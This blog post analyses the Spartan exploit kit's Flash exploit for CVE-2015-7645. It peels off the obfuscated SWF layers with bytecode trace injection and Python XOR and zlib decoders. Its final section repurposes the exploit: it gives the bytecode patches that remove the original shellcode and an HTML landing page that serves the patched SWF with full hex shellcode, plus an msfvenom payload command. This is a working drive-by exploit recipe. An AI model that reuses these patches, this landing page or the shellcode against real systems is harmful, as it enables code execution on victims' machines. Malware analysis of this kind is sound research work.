In this blog post we'll be looking at Spartan exploit kit's (EK's) CVE-2015-7645 Flash exploit. We'll go through the process of analyzing the obfuscated Flash file, deshelling it from protection layers and repurposing it to run our own shellcode.
I found Spartan EK to be a bit easier to deobfuscate than other exploit kits. This is all relative though and nothing in this process will be really easy !
The Fiddler file can be downloaded here.
The following is the setup, tools and files we'll be using throughout this endeavour:
The only thing we've got at hand is the Fiddler file containing a single pass of the Spartan EK Flash exploit. Fiddler files are very similar to pcaps and contain the requests and responses that occured during compromisation. Before we start I would like to thank @kafeine for providing me with this Fiddler file. For more information regarding the file itself visit his blog which is always up date with the latest EK expoits found in the wild.
The Fiddler file contains the following request/response pairs:
By now you're probably itching to start hacking away at the extracted Flash file but before I have to explain the method we'll be using to debug and understand the inner workings of the Flash files. This is the most effective method I came up with to analyse obfuscated Flash files. By no means I'm claiming it's the best way or the most efficient way of doing it but it worked for me. Having said that, this was my first attempt at reversing an EK so I'm still new to this scene.
As I've mentioned earlier the trace() function is used for debugging purposes and can be used to write any variable to the flashlog file. Think of it as a print or write to the log file. OK, so we just insert trace functions everywhere and we're done right? Well, yes and no. No because, even though JPEXS tries it's best to display the original Action Script 3 (AS3) source code, it doesn't handle obfuscation very well and more often than not will not compile the Flash file after it has been modified. On the other hand, JPEXS has a solid bytecode editor which allows us to modify bytecode directly and save the new Flash file; so yes, we'll be injecting the bytecode for the trace function.
To obtain the bytecode for trace, create the following AS3 class and compile it:
With everything equipped, we can start looking at the SWF we've extracted earlier. Decompress the SWF file with flasm : flasm -x Torment1.swf. You can tell if an SWF is compressed or not by the first 3 bytes of the file:
CWS implies that the SWF file is compressed; FWS means it's not. We'll be working with the uncompressed version so load it into JPEXS. The file only contains 2 classes, 1 of which is the AS3 Base64 class. Focusing on the other class, MainTimeline, we notice that it's constructor calls frame1():
Welcome to Torment 2 !! Extract the new Flash file with flasm and load it in JPEXS. Effectively only class xpTdZXAtR contains interesting code. Straight off the bat we notice a few similarities to the previous layer: an XOR encryption/decryption function, regular expressions, and obfuscated strings. Let's not jump ahead of ourselves though and tackle this methodically. The constructor calls function EimYJdprwLHD():
What's happening here? Where are the rest of the Torment levels? As you will soon find out, this SWF file will be our toughest hurdle yet, hence the jump in levels. Decompress and load in JPEXS.
The Flash file looks nothing like the previous 2; it contains 23 strangely-named highly-obfuscated classes. Unfortunately going through each and every line of code is not an option. The plan is to skim through the execution path, going into detail only where necessary.
Running Torment10.swf throws an error which we haven't encountered yet:
This SWF file contains the actual Type Confusion vulnerability (CVE-2015-7645) discovered by @natashenka from Google Project Zero. In her post she writes:
If IExternalizable.writeExternal is overridden with a value that is not a function, Flash assumes it is a function even though it is not one. This leads to execution of a 'method' outside of the ActionScript object's ActionScript vtable, leading to memory corruption.
In cowlevel.swf file this happens in class MyExt1:
Continuing from where we left off, we're in extLoaded() which was called by the event handler after cowlevel.swf has been loaded. This function essentially calls EXP_try() which hooks into MyExt2() from cowlevel.swf and predicts the crash amongst other things:
The most straight forward method of repurposing the exploit is to replace the existing shellcode with ours. Albeit it's the easiest way, it is not extentable and modifying the Flash file every time is a pain. A better way of achieving this is by creating an html landing page which serves both the exploit and the shellcode directly from the page itself.
By now you have probably realised that we can use Torment10.swf directly. Torment1.swf and Torment2.swf were merely there for obfuscation and anti-reversing purposes. So, let's start with a clean version of Torment10.swf and see what alterations are required. Currently the end shellcode is a concatenation of the following parts:
Congrats to those of you who made it this far !! In this blog post we've looked at one Spartan EK's Flash exploits and repurposed it to our needs. At this point I would love to hear your feedback and comments. Once again .. おめでとうございます.
PS: Exuse my heavy use of Diablo 3 references :P
Equipping our gear
- Windows 7 64-bit
- Internet Explorer 11
- JPEXS - Best Flash Decompiler (imo)
- Flash Player 19.0.0.207 SA Debug - Standalone version of Flash. This is the latest vulnerable version
- Flash Player 19.0.0.207 AX - The ActiveX non-debug flavour of Flash
- Flasm - Flash (dis)assembler
ErrorReportingEnable=1 TraceOutputFileEnable=1These settings tell Flash to log errors and redirect trace output to a file. The path and name of the file can be specified with the TraceOutputFileName parameter but by default it resides in %APPDATA%\Macromedia\Flash Player\Logs\flashlog.txt.
Scouting the GRift
- SWF file - contains the exploit
- crossdomain.xml - cross-domain policy file which grants Flash permission to communicate with other servers
- XML file - will come into play later
- Payload - according to Kaffeine it's Pony or AlphaCrypt.
Equipping our skills
package { import flash.display.MovieClip; public class traceClass extends MovieClip { public function traceClass() { // tracing fixed string trace("Hello World"); // tracing variable var s:String = "Hello World"; trace (s); } } }The AS3 file uses trace() in 2 different ways, one on a static string and the other on a variable. Now open the resultant SWF file with JPEXS. The following are the 2 relevant sections:
... findpropstrict Qname(PackageNamespace(""),"trace") pushstring "Hello World" callpropvoid Qname(PackageNamespace(""),"trace") 1 pushstring "Hello World" debugline 11 coerce_s setlocal_1 debugline 12 findpropstrict Qname(PackageNamespace(""),"trace") getlocal_1 callpropvoid Qname(PackageNamespace(""),"trace") 1 ..The trace functions span lines 2-4 and 10-12. The only difference between operating on a static string and a variable is just the line in the middle. If a static string is used, it is pushed onto the stack with pushstring before calling trace on it, whereas if we want to trace a variable, the latter is obtained with a get command. Note that if the variable is stored with setlocal_2 (rather than setlocal_1 like in line 8), we need to call getlocal_2, etc.. We'll be injecting these 3 lines, or a variation of them, whenever we want to display what's happening. Familiarise yourself with them as we'll be using them extensively.
Torment 1
function frame1() : * { this.QhrihiNE = "783427182340h29751t24335906t6556p8950:81830924235/8524385924047081/90649164"; this.AsYtBsty = "153632010324.0635847936779304x546151328329m8295457206166335l580679395909960"; this.ZQhiDQnz = "63246z2634a2436l754e6234i34636m3426n346e63v364i346s346k634i62346v2356g86o625r652l2o625.526w562e56b747547si74375t56e365"; this.WasGNAQK = "IiIXIiIVIiIsiAIiIHIiIhqIiIXIiIHIiIV1IiITIiIT8IiInIiIPEIiIBIiI_IiITIiIgIiIcIiI"; this.ShkZArak = /[0-9]/g; this.XtrYzyHQ = this.QhrihiNE.replace(this.ShkZArak,""); this.ETbDRAkD = this.ZQhiDQnz.replace(this.ShkZArak,""); this.DHBzKFSG = this.AsYtBsty.replace(this.ShkZArak,""); this.CHsSsDes = this.XtrYzyHQ + this.ETbDRAkD + "/" + this.WasGNAQK + this.DHBzKFSG; this.RASEGANa = /IiI/g; this.VeBhnHFA = new URLLoader(); this.VeBhnHFA.load(new URLRequest(this.CHsSsDes.replace(this.RASEGANa,""))); this.VeBhnHFA.addEventListener(Event.COMPLETE,this.TteNDbdn); this.button.addEventListener(MouseEvent.MOUSE_DOWN,this.onClick); }It's not difficult to deduce what the obfuscation technique is doing but let's use the trace() technique on this.CHsSsDes which concatenates 3 out of 4 strings after they've been deobfuscated. After inserting the trace bytecode, the new file should look like this:
getlex Qname(PackageNamespace(""),"RegExp") pushstring "IiI" pushstring "g" construct 2 findpropstrict Qname(PackageNamespace(""),"trace") getlocal_0 getproperty Qname(PackageNamespace(""),"CHsSsDes") callpropvoid Qname(PackageNamespace(""),"trace") 1 initproperty Qname(PackageNamespace(""),"RASEGANa") getlocal_0 findpropstrict Qname(PackageNamespace("flash.net"),"URLLoader")The inserted lines are 6-9. To come up with the contents of lines 7-8 I looked at how the variable CHsSsDes is being set, and replaced setproperty to getproperty. Set is used to push onto the stack while Get is used to pop from the stack; for every set there's a get. The getlocal_0 is what the this keyword translates to. Save the file and open it with Flash SA. Hmm .. it pops an error which is also displayed in the flashlog:
Warning: HTTP send request error, 12007: /crossdomain.xml Warning: Failed to load policy file from http://zaleimneviskivgorlo.website/crossdomain.xml *** Security Sandbox Violation *** Connection to http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml halted - not permitted from file:///C|/Users/Flash/Desktop/Spartan%20Blog/Torment%201/Torment1.swf Error #2044: Unhandled securityError:. text=Error #2048: Security sandbox violation: file:///C|/Users/Flash/Desktop/Spartan%20Blog/Torment%201/Torment1.swf cannot load data from http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml. at non_adult_link1_fla::MainTimeline/frame1() Error: Request for resource at http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml by requestor from file:///C|/Users/Flash/Desktop/Spartan%20Blog/Torment%201/Torment1.swf is denied due to lack of policy file permissions.Flash is complaining about the lack of a crossdomain.xml file on the server it is trying to communicate with. The URLs that stand out in this error are:
- http://zaleimneviskivgorlo.website/crossdomain.xml
- http://zaleimneviskivgorlo.website/XVsiAHhqXHV1TT8nPEB_Tgc.xml
http://zaleimneviskivgorlo.website/IiIXIiIVIiIsiAIiIHIiIhqIiIXIiIHIiIV1IiITIiIT8IiInIiIPEIiIBIiI_IiITIiIgIiIcIiI.xml Warning: Domain zaleimneviskivgorlo.website does not specify a meta-policy. Applying default meta-policy 'master-only'. This configuration is deprecated. See http://www.adobe.com/go/strict_policy_files to fix this problem.Ignore the warning at line 2. The 1st line contains the output of trace(this.CHsSsDes) which is a partially-obfuscated URL. By now we know what it will translate to after deobfuscation. This might have not been the best example to showcase the usefulness of the trace() function but I wanted to use it as early as possible to give you the time to get accustomed to it. In subsequent sections we'll encounter situations where it's not as easy to decipher the obfuscation. In those cases, the use of trace() will be paramount. Looking back at the frame1() function, after the response is received the event listener (line 15) is triggered and TteNDbdn() is called:
public function TteNDbdn(param1:Event) : void { this.FFtReGFe = XML(param1.target.data); var _loc2_:* = this.FFtReGFe.item[3]; var _loc3_:* = Base64.decode(this.FFtReGFe.item[4]); var _loc4_:* = new (getDefinitionByName("flash.display.Loader") as Class)(); _loc4_["loadBytes"](this.GSnRdsQb(_loc2_,_loc3_)); addChild(_loc4_); }The function loads the XML file from the response in this.FFrReGFe, extracts 2 items from it, base64 decodes the 2nd one and passes the 2 strings to this.GSnRdsQb. Let's stop here for the time being and inject some trace bytecode to view what _loc2_ contains; we can then deduce that _loc3_ will contain a base64 decoding of the next string found in the XML file.
coerce_a setlocal_2 findpropstrict Qname(PackageNamespace(""),"trace") getlocal_2 callpropvoid Qname(PackageNamespace(""),"trace") 1 getlex Qname(PackageNamespace("com.sociodox.utils"),"Base64") getlocal_0 getproperty Qname(PackageNamespace(""),"FFtReGFe")After running the SWF file, the Flash log contains the following string:
128cb5c296a363078b50cd400d5611daCompare it with the XML file in the response:
So _loc2_ contains the 4th item in the XML file; we can safely assume that _loc3_ contains a base64 decoding of the 5th string, which has been truncated in the above extract. This also makes sense as the last item is the only one which looks anything like a base64 encoded string. These 2 variables are passed to the GSnRdsQb() function:- 0efabd8e08ccd3604217c830c8ce97bf
- 0bb046e55098f9afa5b1c6a3c35c26d5
- ed5bf8037ff394c045394e0f08293903
- 128cb5c296a363078b50cd400d5611da
- cmVrbfqYYzJB7D1EVaMWe4sHTurVCe+GDQkIW+qHCbqHX+PVGU+57M7Lj+6LiGsmzUEG/1rxYSll .. .. XR5lkkziiLDQzl1IbBnKcCCMSRk1svJHQmdITuGmJo18vMJdB725883sw36DGNkNDAwZDU2MTFkYQ==
public function GSnRdsQb(param1:String, param2:ByteArray) : ByteArray { var _loc3_:ByteArray = new ByteArray(); var _loc4_:int = 0; while(_loc4_ < param2["length"]) { if(_loc4_ > param1["length"] - 1) { param1 = param1 + param1; } _loc3_["writeByte"](param2[_loc4_] ^ param1["charCodeAt"](_loc4_)); _loc4_++; } _loc3_["position"] = 0; return _loc3_; }This function is easily recognisable as an XOR encryption/decryption function where param1 is the key and param2, in our case_loc3_, is the message. From TteNDbdn() we know that the bytes of the variable returned by this function will be loaded to _loc4_ and added as a child class. But what is being loaded exactly? To answer this question we reconstruct the GSnRdsQb() function in python and input the values:
import base64 def decryptor (key, enc): encLen = len(enc) keyLen = len(key) key = key * ((encLen / keyLen) + 1) key = key[:encLen] return bytearray(a^b for a, b in zip(*map(bytearray, [enc, key]))) key = "128cb5c296a363078b50cd400d5611da" enc64SWF = "cmVrbfqYYzJB7D1EVaMWe4 .. w36DGNkNDAwZDU2MTFkYQ==" f = open('1.bin', 'wb') encSWF = base64.b64decode(enc64SWF) temp = decryptor (key, encSWF) f.write(temp) f.closeThe python program writes the result to 1.bin. Opening it in a hex editor we notice something interesting: Yep .. it's an embedded Flash file. My speculation about the reason behind this is that 1) if the domain hosting the exploit changes, only the outer Flash file requires modification, 2) by getting hold of only this SWF file, malware analysts cannot deduce anything about the exploit itself. Rename the file to Torment2.swf and let's move on; we've got a long way ahead of us.
Torment 2
private function EimYJdprwLHD(param1:Object = null) : void { var _loc3_:* = undefined; var _loc2_:LoaderContext = this.yYJREHXgUy("G5GHGJx6GqxJGz ... v5v5u7upv5z4z4z4uuuu"); this[GQHtPVEtfy(WKEiwXYJbqUp)](GQHtPVEtfy(ainUIrXFKdm),this.EimYJdprwLHD); try { _loc3_ = new (this.wAPgQFJHo("") as Class)(); _loc3_[GQHtPVEtfy(OKNgrbzEm)](TPbsJhbqQh(this.wAPgQFJHo("VVV")[NxOVolazP](/[(!)]/g,"")),_loc2_); this.stage[GQHtPVEtfy(tFioXzNKeK)](_loc3_); return; } catch(e:Error) { return; } }We can't make much sense of it without deobfuscation. This process is handled by function GQHtPVEtfy() which simply removes Z's and !'s from the mangled strings. Not much of an obfuscation! Function wAPgQFJHo() also tries to hinder our progress but doesn't do a good job of it:
private function wAPgQFJHo(param1:String) : * { if(param1 === "VVV") { return "!!!!!4d07059cb79e3545dcf7f0cf5bc33baa!!!!!!"; } if("sd2" !== "FFF") { return getDefinitionByName(GQHtPVEtfy(wuVcLSRZne)); } }Inserting the unobfuscated strings and the returned variables from wAPgQFJHo(), we get a clearer picture:
private function EimYJdprwLHD(param1:Object = null) : void { var _loc3_:* = undefined; var _loc2_:LoaderContext = this.yYJREHXgUy("G5GHGJx6GqxJGz ... v5v5u7upv5z4z4z4uuuu"); this[removeEventListener]("addedtoStage",this.EimYJdprwLHD); try { _loc3_ = new (getDefinitionByName("flash.display.Loader") as Class)(); _loc3_["loadBytes"](TPbsJhbqQh("4d07059cb79e3545dcf7f0cf5bc33baa"),_loc2_); this.stage["addChild"](_loc3_); return; } catch(e:Error) { return; } }Much like the previous layer, this SWF file loads bytes into a loader class _loc3_ and adds it as a child. The bytes in question are returned from TPbsJhbqQh("4d07059cb79e3545dcf7f0cf5bc33baa"):
public static function TPbsJhbqQh(param1:String) : ByteArray { var _loc2_:String = GQHtPVEtfy(wSXukGGsFR); //translates to "position" var _loc3_:ByteArray = new DonpQyvjmTqN() as ByteArray; var _loc4_:ByteArray = dMbRyCRNPq(param1,_loc3_); _loc4_[_loc2_] = 0; return _loc4_; }The magic happens at line 5. dMbRyCRNPq() is the same XOR decryption function we encountered in Torment1.swf; we know what param1 is and that it will be used as the key; the missing piece of the puzzle is _loc3_. Let's use our favourite trace() bytecode injection technique to take a peek at it's contents. After the injection the bytecode should look similar to this:
coerce Qname(PackageNamespace("flash.utils"),"ByteArray") setlocal_3 findpropstrict Qname(PackageNamespace(""),"trace") getlocal_3 callpropvoid Qname(PackageNamespace(""),"trace") 1 findpropstrict Qname(PackageNamespace(""),"dMbRyCRNPq") getlocal_1Running the SWF file and opening the flashlog we see total chaos: Where did this come from? The bytes are taken from the SWF file itself. Take a look at JPEXS, under binaryData: The 2 files do not match tit for tat as trace does not handle non-ascii characters very well, but they are the same set of data. Going back to the bigger picture, Torment.swf XOR-decrypts a blob of binary data using 4d07059cb79e3545dcf7f0cf5bc33baa as the key. Export the binary data from JPEXS, modify the python XOR-decryptor program we used earlier to read the bytes from this file and run it. As expected we get another SWF file. Rename it to Torment10.swf. Before we move on, there's something important I would like to revisit in function EimYJdprwLHD(). The function called at line 4 passes a strange-looking string to this.yYJREHXgUy:
private function yYJREHXgUy(param1:String) : LoaderContext { var _loc2_:LoaderContext = new LoaderContext(); _loc2_.parameters = {"exec":param1}; return _loc2_; }The string, now located in param1, is associated with the word "exec" and loaded as a parameter of loaderContext _loc2_ on line 4. After it has been returned by yYJREHXgUy(), the variable is loaded, via loadBytes, to Torment10.swf on line 9 in EimYJdprwLHD(). This is the method used by SWF files to pass parameters to child SWF files and hence Torment10.swf will have access to this "exec" string.
Torment 10
TypeError: Error #1009: Cannot access a property or method of a null object reference. at class_1$/asfsgrggvxvb() at class_1$/Init() at class_7/Init() at class_7()The function class_7.Init() tries to loads the "exec" value from loaderInfo.parameters which is meant to be passed from the parent SWF file. As we have done away with the parent layer, the SWF is complaining that the value is null. We can fix this by setting the string as a constant in the SWF file directly. Replace the bytecode of the function with the following:
code getlocal_0 pushscope findpropstrict Qname(PackageNamespace("","2"),"removeEventListener") pushstring "addedToStage" getlex Qname(PackageInternalNs(""),"init") callpropvoid Qname(PackageNamespace("","2"),"removeEventListener") 2 pushnull coerce_s setlocal_3 ofs0010:pushstring "G5GHGJx6GqxJGzxJ ... qvqu5w7uGv5v5v5v5v5v5v5v5u7upv5z4z4z4uuuu" coerce_s setlocal_3 ofs0015:jump ofs0026 ofs0019:getlocal_0 pushscope newcatch 0 dup setlocal 5 dup pushscope swap setslot 1 popscope ofs0026:getlex Qname(PackageNamespace("","2"),"class_1") getlocal_3 callpropvoid Qname(PackageNamespace("","2"),"Init") 1 returnvoid returnvoidThe ActionScript source equivalent looks like this:
private function Init(param1:Event = null) : void { removeEventListener("addedToStage",init); var _loc3_:String = null; _loc3_ = "G5GHGJx6GqxJGzxJGH ... 7uGv5v5v5v5v5v5v5v5u7upv5z4z4z4uuuu"; class_1.Init(_loc3_); }Remember that JPEXS does not handle editing AS3 directly very well so copy and paste the bytecode and save. Opening the Flash file should not display any errors now. The next function in line is class_1.Init(_loc3_):
public static function Init(param1:String) : * { var _loc4_:* = undefined; var _loc2_:* = undefined; var _loc5_:* = null; var _loc3_:uint = class_10.method_54(); if(_loc3_ <= 190000207) { §_-5§ = asfsgrggvxvb(param1); _loc4_ = class_10.rc4_decrypt(class_11.method_72(r3dbsdf()),§_a_-_---§.§_a_--_--§(-1820302796)); var_96 = JSON["parse"](_loc4_.readUTFBytes(_loc4_.length)); try { §_-q§.method_48(var_96); if(§_-Q§) { extLoaded(null); return; } _loc2_ = class_11.method_72(§_-q§.vari42); _loc2_[§_-q§.vari37](); _loc2_[§_-q§.vari12] = 0; _loc5_ = new §_-q§.vari4(); _loc5_[§_-q§.vari38][§_-q§.vari39](Event[§_-q§.vari40],extLoaded); _loc5_[§_-q§.vari41](_loc2_,new LoaderContext(false,ApplicationDomain[§_-q§.vari30])); return; } catch(e:Error) { return; } } }Notice the Flash version checking on line 7. If Flash is newer than v19.0.0.207, execution stops. As we're using that exact version we'll be exploited, as intended. Line 9 assigns the string in "param1" to §_-5§ which is defined in superclass class_0. Lines 10-11 seem to be base64 decoding some data (class_11.method_72), decrypting it using RC4 (class_10.rc4_decrypt), loading it into _loc4_, parsing it as JSON (JSON["parse"]) and loading it into var_96. Thanks to trace we can directly peek at the end result i.e. the contents of _loc4_, which is expected to be in JSON format:
{ "vari1": "flash.utils.ByteArray", "vari2": "flash.system.Capabilities", "vari3": "flash.utils.Endian", "vari4": "flash.display.Loader", "vari5": "", "vari6": "", "vari7": "", ... "vari89": 7, "vari90": 4096, "vari91": 3221225472, "vari92": 24, "vari93": 50, "vari94": 20 }The method §_-q§.method_48 at line 14 takes this JSON object stored in var_96 and maps it to class §_-q§. For example, vari1 will be equal to §_-q§.vari1, vari2 will be equal to §_-q§.vari2, etc. With this information at hand and some trace bytecode injection we can resolve most of the obfuscated variables located in class_1.Init(_loc3_):
public static function Init(param1:String) : * { var _loc4_:* = undefined; var _loc2_:* = undefined; var _loc5_:* = null; var _loc3_:uint = class_10.method_54(); //Version checking : Continue only if Flash <= 19.0.0.207 if(_loc3_ <= 190000207) { //Decodes param1 and assigns it to a global variable §_-5§ = asfsgrggvxvb(param1); //_loc4_ contains the JSON displayed before _loc4_ = class_10.rc4_decrypt(class_11.method_72(r3dbsdf()),§_a_-_---§.§_a_--_--§(-1820302796)); //parses _loc4_ as JSON and assigns it to var_96 var_96 = JSON["parse"](_loc4_.readUTFBytes(_loc4_.length)); try { //maps the JSON object to class §_-q§ §_-q§.method_48(var_96); if(§_-Q§) { extLoaded(null); return; } //Base64 decode some string _loc2_ = class_11.method_72("eJzFmPl3XFVyx9+9Xa1qrZZk+Um ... cv/O01+Xjv/DZCjV0Q="); // Decompress it using zlib (default algorithm) _loc2_["uncompress"](); _loc2_["position"] = 0; _loc5_ = new flash.display.Loader(); //Event listener : jump to function extLoaded() when the event is completed _loc5_["contentLoaderInfo"]["addEventListener"](Event["COMPLETE"],extLoaded); //load bytes from _loc2_ (suggests _loc2_ contains another SWF file) _loc5_["loadBytes"](_loc2_,new LoaderContext(false,ApplicationDomain["currentDomain"])); return; } catch(e:Error) { return; } } }We now have a much better understanding at what the function does. Once again we encounter a very familiar scenario: some bytes are decoded/decrypted, an event listener is attached, the bytes are loaded. When the event completes, function extLoaded() is called. Using trace on _loc2_ after compression we notice the magic bytes of an uncompressed SWF: Another Flash file ??!! Really ?!? To analyse it in JPEXS we can't use this output since, as I've mentioned earlier, trace does not handle non-ascii characters very well. The file is constructed by base64 decoding a string and uncompressing it using zlib, the default (de)compression algorithm used by Flash. Let's create a small python script to do this for us:
import base64 import zlib encCompSWF = "eJzFmPl3XFVyx9+9Xa1qrZZk+UmWLFu2 ... 7V68t/zOk/N9pPcv/O01+Xjv/DZCjV0Q=" compSWF = base64.b64decode(encCompSWF) SWF = zlib.decompress(compSWF) with open('cowlevel.swf', 'wb') as f: f.write(SWF)The SWF file is decompressed so load it into JPEXS.
The Cow Level is a Lie
... var a27:Object; var writeExternal:Object = true; public function MyExt1() { super(); } ...The writeExternal function is overwridden with object "true". Analysing the CVE itself is not in scope for this blog so I'll be leaving it at that. There's not much else going on in this file so back to Torment10.swf.
Torment 10 (revisited)
// _loc4_[§_-q§.vari33] => [object MyExt2]["writeExternal"] var _loc6_:* = _loc4_[§_-q§.vari33]; if(_loc6_ is Function) { Throw(""); }As described in the previous section, the crash happens when writeExternal is assigned to anything other than a function. If it is still of type function, the exploit did not work hence it will throw an error and halt execution. We're running a vulnerable version of Flash so we have no issues here. EXP_try() then calls class_4.EXP_try(_loc4_) or §_-I§.EXP_try(_loc4_) depending on the architecture it is running on:
//_loc4_[§_-q§.vari36] => [object MyExt2]["x64"] if(_loc4_[§_-q§.vari36]) { class_4.EXP_try(_loc4_); } else { §_-I§.EXP_try(_loc4_); }A trace reveals that _loc4_[§_-q§.vari36] returns "undefined" and since we're on an x64 machine I'm assuming that the check is on the process itself (which is 32-bit) rather than the machine, which also makes more sense from an exploitation point of view. The function §_-I§.EXP_try(_loc4_) is executed next. This function is a good example of why the AS3 interpretation in JPEXS should not be trusted blindly. According to the bytecode of Torment10.swf, there are a few functions that are executed before others but they're displayed after in the AS3 interpretation. In essence, §_-I§.EXP_try(_loc4_) makes the following relevant call:
// §_-q§.vari45 => "db7f335571b4f0c67670335deefe2e3c" taken from the JSON structure // §_-5§ => from class_1.Init() (§_-5§ = asfsgrggvxvb(param1);) // §_-p§ => [class _-p] // CleanUp => some non-important function in this class §override const§.Load(§_-q§.vari45,§_-5§,§_-p§,CleanUp);The AS3 interpretation is even worse here than in the previous function. Additionally the first few lines which, as we'll see later are crucial to the repurposing of this exploit, are completely left out of the AS3 translation. The following is the beginning of the Load function in class §override const§:
static function Load(param1:String, param2:String, param3:Class, param4:Function) : * { try { _loc5_.position = _loc5_.length; if(_loc9_) { while(true) { _loc5_.endian = "littleEndian"; ...Whilst the bytecode tells a different story:
code getlocal_0 pushscope pushnull setlocal 5 pushnull setlocal 6 ofs0008:findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray") constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0 coerce Qname(PackageNamespace("flash.utils"),"ByteArray") setlocal 5 findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray") constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0 coerce Qname(PackageNamespace("flash.utils"),"ByteArray") setlocal 6 getlex Qname(PackageNamespace("_-A"),"class_10") getlex Qname(PackageNamespace("continue const"),"class_11") pushstring "VgngSua8bVXwXmNqNzBQakeey/zpsGEqViS ... oN67pst0uMRoJTpZsZRgNnL7pmq6NY7VV1r/nBQVh" callproperty Qname(PackageNamespace("","2"),"method_72") 1 getlocal_1 callproperty Qname(PackageNamespace("","2"),"rc4_decrypt") 2 coerce Qname(PackageNamespace("flash.utils"),"ByteArray") dup dup setlocal 5Where has _loc5_ been initialised in the AS3? Where is the string defined on line 18 in the AS3? For the 2nd question I'm not sure if this was done on purpose by the malware writers or a by-product of SecureSWF but either way it's another good reason not to trust the AS3 source. This function does the following:
- Declares _loc5_ and _loc6_ as ByteArrays
- Base64 decodes and then RC4 decrypts the string on line 18 using param1 i.e. db7f335571b4f0c67670335deefe2e3c as key
- Converts param2 i.e §_-5§ i.e asfsgrggvxvb(param1) from hex to ByteArray (h2ba function)
- Concatenates the 2 strings together using writeBytes and stores the resultant in _loc5_
- Sets the endianness of _loc5_ to "littleEndian"
- Calls param3["Exec"](_loc5_) i.e. §_-p§.Exec(_loc5_)
... coerce Qname(PackageNamespace("flash.utils"),"ByteArray") setlocal 6 findpropstrict Qname(PackageNamespace("","2"),"h2ba") getlocal 5 pushstring "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCC" callproperty Qname(PackageNamespace("","2"),"h2ba") 2 coerce Qname(PackageNamespace("flash.utils"),"ByteArray") dup dup setlocal 5 getproperty Qname(PackageNamespace("","2"),"length") setproperty Qname(PackageNamespace("","2"),"position") getlocal 9 iffalse ofs00ac ...The modified lines are 4 - 13. These create a string of C's, convert it into a ByteArray using the h2ba function found in the same class and set it's position to the end, i.e. equal to it's length. The last operation is very important since another string is appended to this. The position property of a ByteArray is exclusive to ActionScript (as far as I know). It is used as a pointer to determine from where reads and writes start to operate. If we do not explicitly set the position to point at the end of the string, the concatenation might overwrite our string. Running the Flash SA version under IDA and loading the modified Torment10.swf file we get the following result: This is exactly what we've been aiming for throughout this blog post!! At this point we don't need to perform any more analysis. We have a decent idea of what Spartan EK is doing and, most importantly, we know where the shellcode is and how it is constructed. In the next section we'll repurpose this exploit to run our own shellcode.
Transmogrifying the Ancient Loot (Repurposing the Exploit)
- Part 1 - Hardcoded as a string in §override const§.Load() function
- Part 2 - Passed as a variable named "exec" from the parent layer (Torment2.swf)
§_-5§ = asfsgrggvxvb(param1);Remove the findpropstrict and callproperty bytecode instructions to function asfsgrggvxvb. The section now looks like this:
... getlocal_3 pushint 190000207 ifnle ofs00f7 getlocal_1 findproperty Qname(PackageInternalNs(""),"_-5") swap setproperty Qname(PackageInternalNs(""),"_-5") getlex Qname(PackageNamespace("_-A"),"class_10") ...The AS3 window in JPEXS should now display the following line instead:
§_-5§ = param1;The 2nd and last change required is to remove the 1st part of the previous shellcode from function §override const§.Load(). Unfortunately I can't show the difference in AS3 here as JPEXS does not translate it very well and misses important sections. The following is the bytecode in question:
findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray") constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0 coerce Qname(PackageNamespace("flash.utils"),"ByteArray") setlocal 6 getlex Qname(PackageNamespace("_-A"),"class_10") getlex Qname(PackageNamespace("continue const"),"class_11") pushstring "VgngSua8bVXwXmNqNzBQakeey/ ... MRoJTpZsZRgNnL7pmq6NY7VV1r/nBQVh" callproperty Qname(PackageNamespace("","2"),"method_72") 1 getlocal_1 callproperty Qname(PackageNamespace("","2"),"rc4_decrypt") 2 coerce Qname(PackageNamespace("flash.utils"),"ByteArray") dup dup setlocal 5 getproperty Qname(PackageNamespace("","2"),"length") setproperty Qname(PackageNamespace("","2"),"position") getlocal 9 iffalse ofs00aa getlocal_3 getlocal 5 getlocal_3 kill 3This is how the bytecode should look like after the change:
findpropstrict Qname(PackageNamespace("flash.utils"),"ByteArray") constructprop Qname(PackageNamespace("flash.utils"),"ByteArray") 0 coerce Qname(PackageNamespace("flash.utils"),"ByteArray") setlocal 6 getlocal 9 iffalse ofs008d getlocal_3 getlocal 5 getlocal_3 kill 3We have simply removed the 11 instructions that generate the 1st part of the shellcode. The last quest is to create a landing page that serves both our Flash file and the shellcode:
<html> <body> <object type="application/x-shockwave-flash" data="Torment10.swf" allowScriptAccess=always width="500" height="500"> <param name="movie" value="Torment10.swf"/> <param name="bgcolor" value="#ffffff"/> <param name="allowScriptAccess" value="always"/> <param name="play" value="true" /> <!-- Calc: Hacking Team --> <param name=FlashVars value="exec=558BEC83C4AC535157648B05300000008B400C8B400C8B008B008B581889D803403C8B507801DA8B7A2001DF31C98B0701D8813843726561751C81780B7373410075138B422401D80FB704488B521C01DA031C82EB0983C704413B4A187CCF8D45F0508D7DAC5731C0B911000000F3ABC745AC44000000505050505050E80900000063616C632E6578650050FFD35F595BC1E00383C006C9C3909090" /> <!-- Msgbox : msfvenom -p windows/messagebox TEXT="PWNED" -f c | grep '"' | tr -d '"|\\x|\n' --> <!-- --> </object> </body> </html>I took the liberty of giving 2 shellcode examples. The top one pops calc and was taken directly from the Hacking Team's Flash exploit and the bottom, which has been commented out, was generated using msfvenom and pops a message box. Put both the landing page and Torment10.swf in the same folder. Make sure you have Flash Player 19.0.0.207 AX non-debug installed and open the html page with IE11: The final versions of the files can be downloaded here